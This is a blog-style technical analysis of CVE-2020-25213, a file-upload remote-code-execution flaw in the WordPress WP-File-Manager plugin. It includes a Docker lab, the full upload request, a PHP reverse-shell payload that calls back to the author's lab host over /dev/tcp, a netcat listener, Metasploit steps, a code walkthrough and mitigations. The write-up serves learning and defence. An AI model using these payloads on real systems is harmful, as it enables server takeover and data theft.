Technical Analysis of CVE-2020-25213: WP File Manager RCE Vulnerability

Background

CVE-2020-25213, a Remote Code Execution (RCE) vulnerability in the WordPress WP-File-Manager plugin (version 6.0 to 6.8).

WordPress is the most widely used Content Management System (CMS), powering millions of websites, including high-profile ones like NASA.gov. WordPress allows site administrators to enhance functionality by installing plugins without modifying any core code. WP-File-Manager is a popular file management plugin that integrates a file browser into the WordPress admin panel, making it easier for administrators to manage server files. According to official WordPress statistics, WP-File-Manager has more than 1 million installations.

CVE-2020-25213 is a critical vulnerability in WP-File-Manager that allows attackers to upload arbitrary files, including malicious PHP scripts, via a specific URL. This vulnerability enables remote code execution (RCE) on the server, leading to potential data breaches and full system compromise. Exploiting this vulnerability highlights the risks of insecure plugins and underscores the importance of timely security updates and proactive defense strategies.

Attack Phases

We divide the attack against the CVE-2020-25213 vulnerability into three phases: scanning for the vulnerability, uploading malicious code, and invading.

Phase 1: Scanning for the vulnerability

The CVE-2020-25213 vulnerability arises due to the WP-File-Manager plugin exposing the connector.minimal.php file. If this file is accessible, an attacker can upload arbitrary files, including malicious code, to the target server.

At this stage, the goal is to verify the existence of the vulnerable endpoint by accessing the following URL:
http://target-domain/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

Phase 2: Uploading malicious code

Once the vulnerable endpoint is confirmed, an attacker can exploit it by sending an HTTP POST request to http://target-domain/.../connector.minimal.php to upload arbitrary files. By default, WP-File-Manager stores uploaded files in the following directory:
/wp-content/plugins/wp-file-manager/lib/files/

For example, an attacker uploaded a reverse shell script (shell.php)

Phase 3: Invading

To execute the uploaded malicious payload, the attacker only need to visit the uploaded file via this URL:
http://target-domain/wp-content/plugins/wp-file-manager/lib/files/shell.php

If the uploaded file is a reverse shell, the attacker can establish remote access to the compromised server, achieving full control over the target system.

Step-by-Step Demonstration & Breakdown

Tools you need

  • Docker (for running a vulnerable demo environment)
  • BurpSuite (for step-by-step manual hacking, including proxy, capture, repeat, and manipulate)
  • Metasploit (for auto hacking)
  • Python (for auto hacking)

Demo environment setup

  1. I have created a Docker image for this experiment and published it on Docker Hub: https://hub.docker.com/r/funway/cve-2020-25213.
  2. To run the Docker-based experimental environment, simply launch the following docker-compose.yml file by docker compose up command.
services:

  mariadb:
    image: linuxserver/mariadb:11.4.5
    container_name: mariadb
    environment:
      MYSQL_ROOT_PASSWORD: ROOT_ACCESS_PASSWORD
      MYSQL_DATABASE: wp_test
      MYSQL_USER: wp_user
      MYSQL_PASSWORD: wp_pass

  wordpress:
    image: funway/cve-2020-25213
    container_name: cve-2020-25213
    ports:
      - 8080:80
    environment:
      WORDPRESS_DB_HOST: mariadb
      WORDPRESS_DB_USER: wp_user
      WORDPRESS_DB_PASSWORD: wp_pass
      WORDPRESS_DB_NAME: wp_test
Figure: Launch the Docker container

The docker-compose.yml file is compatible with both ARM64 and AMD64 platforms. It launches two containers:

  • A database container running MariaDB.
  • WordPress container named cve-2020-25213, hosts the vulnerable WordPress website and exposes the WordPress site on port 8080 of the host machine.
  1. Visit the website: http://your-docker-host:8080. For me, the docker-host’s IP is 172.16.191.142.
Figure: WordPress website running in the docker container (already initialized)
  1. If this is your first time accessing the website, WordPress will automatically redirect you to the initialization page, as shown below. You can either complete the setup or skip it—this will not affect our experiment. Our WordPress Docker image has already been pre-installed with the vulnerable WP-File-Manager plugin.
Figure: Brand new WordPress website running in the docker container (uninitialized)

Exploit 1 – Manual Hacking

  1. Try accessing the following URL to verify the existence of the vulnerability:
    http://172.16.191.142:8080/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php
  1. Launch BurpSuite and go to Proxy > Open Browser to open BurpSuite’s built-in browser with a configured proxy. Use the BurpSuite browser to visit this URL again and let it capture the traffic.
  2. To view the captured traffic, go to Proxy > HTTP History, where you can find the browsing history from the BurpSuite browser.
Figure: BurpSuite proxy history
  1. Right-click on the row of connector.minimal.php and select “Send to Repeater”.
  2. Click the Repeater tab, where you can modify the HTTP request and resend it.
    Without making any changes, try clicking the Send button. You will see the server’s response in the Response pane.
Figure: BurpSuite repeater
  1. Modify the POST content in the Request pane.
POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1
Host: 172.16.191.142:8080
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: multipart/form-data;boundary=BOUNDARY
Content-Length: 273

--BOUNDARY
Content-Disposition: form-data; name="cmd"

upload
--BOUNDARY
Content-Disposition: form-data; name="target"

l1_Lw
--BOUNDARY
Content-Disposition: form-data; name="upload[]"; filename="test.txt"
Content-Type: text/plain

hello, world!
--BOUNDARY--

The payload must include:

  • Two Request Parameters: cmd = upload, target = l1_Lw
    • upload is a predefined variable in wp-file-manager, representing the upload command.
    • l1_Lw is a predefined variable in wp-file-manager, representing the directory for file uploads.
  • One File Parameter: name = upload[], filename = test.txt, …content…
    • upload[] is a predefined variable in wp-file-manager, representing the name of the file upload form.
    • filename and the following file content are customizable.

After modifying the POST body, click the Send button to send the request and observe the response in the Response panel. It shows that the file upload was successful, and the saved path is /wp-content/plugins/wp-file-manager/lib/php/../files/test.txt.

Figure: File Upload Test
  1. Visit the URL:
    http://172.16.191.142:8080/wp-content/plugins/wp-file-manager/lib/files/test.txt.
    You will see the content we just modified and it confirms that the file upload was successful.
Figure: File uploaded successfully
  1. Modify the request content again to upload our reverse shell code. After making the changes, click Send to upload the reverse shell.
Content-Disposition: form-data; name="upload[]"; filename="shell.php"
Content-Type: text/plain

<?php
  exec("/bin/bash -c '/bin/bash -i > /dev/tcp/172.16.191.137/4444 0<&1 2>&1'");
?>
--BOUNDARY--
Figure: Upload a reverse shell code
  1. In the reverse shell code above, the target address we connect to is 172.16.191.137:4444, where 172.16.191.137 is the IP address of my Kali virtual machine.
    So, on that machine, we need to run the following command to start Netcat and listen for the reverse shell connection:
    nc -lvnp 4444
  1. When we access the newly uploaded shell.php file in a browser by the URL:
    http://172.16.191.142:8080/wp-content/plugins/wp-file-manager/lib/files/shell.php
    The page will keep loading indefinitely. Meanwhile, return to the terminal window of my Kali virtual machine. we can notice that the reverse shell connection has been successfully established!
Figure: Reverse shell connected

Exploit 2 – Metasploit Hacking

Here, I will show you another exploit method against CVE-2020-25213.

  1. At Kali Linux, launch Metasploit by command msfconsole and then type search cve-2020-25213.
Figure: Use Metasploit to search CVE-2020-25213 vulnerability
  1. Use this module and set the required options.
Figure: Set options
  1. [optional] If you run the exploit here directly without initializing the WordPress website before, you will encounter a failure. Because the uninitialized WordPress will redirect the homepage to the initialization page: /wp-admin/install.php, which makes Metasploit confused. So, you can force it to run by typing the command: set ForceExploit true, as shown in the failed message.
  2. Now, run the exploit (again).
    From the Metasploit outputs, we can see that it uploaded a PHP payload with a random filename (Lnk0I2.php here for me) at first.
    Then, it sent a stage payload to create a reverse shell connection and deleted the uploaded file to clear intrusion traces.
    In the end, the meterpreter > prompt indicates that we have successfully established a meterpreter session on the target system and gained control over the target.
    We can execute various post-exploitation commands in the meterpreter session. Input help to show all commands.
Figure: Run exploit in Metasploit
  1. Type the shell command to log into the reverse shell.
Figure: Reverse shell connected

Exploit 3 – Python Script

Please refer to this script: https://www.exploit-db.com/exploits/51224.

Core Code of the Vulnerability

Call Stack

Plain text
Copy to clipboard
Open code in new window
EnlighterJS 3 Syntax Highlighter
#0 ~/wp-file-manager/lib/php/elFinderVolumeDriver.class.php(3832): elFinderVolumeLocalFileSystem->_save(Resource id #52, '/Users/funway/p...', 'test.txt', Array)
#1 ~/wp-file-manager/lib/php/elFinderVolumeDriver.class.php(2518): elFinderVolumeDriver->saveCE(Resource id #52, '/Users/funway/p...', 'test.txt', Array)
#2 ~/wp-file-manager/lib/php/elFinder.class.php(3437): elFinderVolumeDriver->upload(Resource id #52, 'l1_Lw', 'test.txt', '/private/tmp/ph...', Array)
#3 ~/wp-file-manager/lib/php/elFinder.class.php(1171): elFinder->upload(Array)
#4 ~/wp-file-manager/lib/php/elFinderConnector.class.php(163): elFinder->exec('upload', Array)
#5 ~/wp-file-manager/lib/php/connector.minimal.php(179): elFinderConnector->run()
#0 ~/wp-file-manager/lib/php/elFinderVolumeDriver.class.php(3832): elFinderVolumeLocalFileSystem->_save(Resource id #52, '/Users/funway/p...', 'test.txt', Array) #1 ~/wp-file-manager/lib/php/elFinderVolumeDriver.class.php(2518): elFinderVolumeDriver->saveCE(Resource id #52, '/Users/funway/p...', 'test.txt', Array) #2 ~/wp-file-manager/lib/php/elFinder.class.php(3437): elFinderVolumeDriver->upload(Resource id #52, 'l1_Lw', 'test.txt', '/private/tmp/ph...', Array) #3 ~/wp-file-manager/lib/php/elFinder.class.php(1171): elFinder->upload(Array) #4 ~/wp-file-manager/lib/php/elFinderConnector.class.php(163): elFinder->exec('upload', Array) #5 ~/wp-file-manager/lib/php/connector.minimal.php(179): elFinderConnector->run()
#0 ~/wp-file-manager/lib/php/elFinderVolumeDriver.class.php(3832): elFinderVolumeLocalFileSystem->_save(Resource id #52, '/Users/funway/p...', 'test.txt', Array)
#1 ~/wp-file-manager/lib/php/elFinderVolumeDriver.class.php(2518): elFinderVolumeDriver->saveCE(Resource id #52, '/Users/funway/p...', 'test.txt', Array)
#2 ~/wp-file-manager/lib/php/elFinder.class.php(3437): elFinderVolumeDriver->upload(Resource id #52, 'l1_Lw', 'test.txt', '/private/tmp/ph...', Array)
#3 ~/wp-file-manager/lib/php/elFinder.class.php(1171): elFinder->upload(Array)
#4 ~/wp-file-manager/lib/php/elFinderConnector.class.php(163): elFinder->exec('upload', Array)
#5 ~/wp-file-manager/lib/php/connector.minimal.php(179): elFinderConnector->run()

Code Analysis Step-by-Step

  1. The client sends a POST request to connector.minimal.php:
    • It contains two POST request parameters: cmd = upload, target = l1_Lw.
    • It also contains one POST file parameter: name = upload[], filename = test.txt, ...content....
  2. On the server, in connector.minimal.php, the elFinderConnector object is created, and the elFinderConnector->run() method is executed to handle the POST request.
  3. In the server’s elFinderConnector.class.php, within the elFinderConnector->run() method, the $this->elFinder->exec($cmd, $args) method is called.
    – The value of $cmd is “upload” (which we provided),
    – and the value of $args includes the other parameters submitted by the client, such as target and FILES.
  4. In the elFinder.class.php file, inside the elFinder->exec() method, the $this->$cmd($args) method is called. Since $cmd is replaced with upload, it’s equivalent to calling $this->upload($args).
  5. In the elFinder.class.php file, within the elFinder->upload() method, the $volume->upload() method is called. The $volume variable refers to the elFinderVolumeLocalFileSystem object that corresponds to the target = l1_Lw input.
    l1_ is a flag defined by elFinder that represents the local disk.
    Lw is the base64-encoded representation of the root directory / (which actually refers to the wp-file-manager/lib/files/ directory).

  6. This elFinderVolumeLocalFileSystem object also defines the file upload path.
  7. In the elFinderVolumeDriver.class.php file, since elFinderVolumeLocalFileSystem inherits from elFinderVolumeDriver, the $volume->upload() method actually calls elFinderVolumeDriver->upload().

    Before the saveCE() code, it first attempts to delete any existing file with the same name (if one exists). The saveCE() method calls the actual implementation in elFinderVolumeLocalFileSystem->_save().
  8. In the elFinderVolumeLocalFileSystem.class.php file, within the elFinderVolumeLocalFileSystem->_save() method, it first tries to rename(), and if that fails, it attempts to copy(). If both operations fail, it returns false.

    If rename or copy succeeds, the function returns, and the file upload process is completed. The file upload request we constructed is now written to the server’s directory.

Mitigation

  • Keep software up to date: Regularly apply security updates for the operating system, application frameworks, plugins, and all other software components to mitigate vulnerabilities and reduce the attack surface.
  • Use the principle of least privilege: Run the web service with the minimum necessary permissions to limit potential damage in case of a compromise. Avoid running the service as a root or administrator user.
  • Deploy network security solutions: Deploy network security solutions such as Intrusion Prevention System (IPS) or Web Application Firewall (WAF) in front of the Web Server, detecting and blocking malicious requests before they reach the web service.

Leave a Comment

Your email address will not be published. Required fields are marked *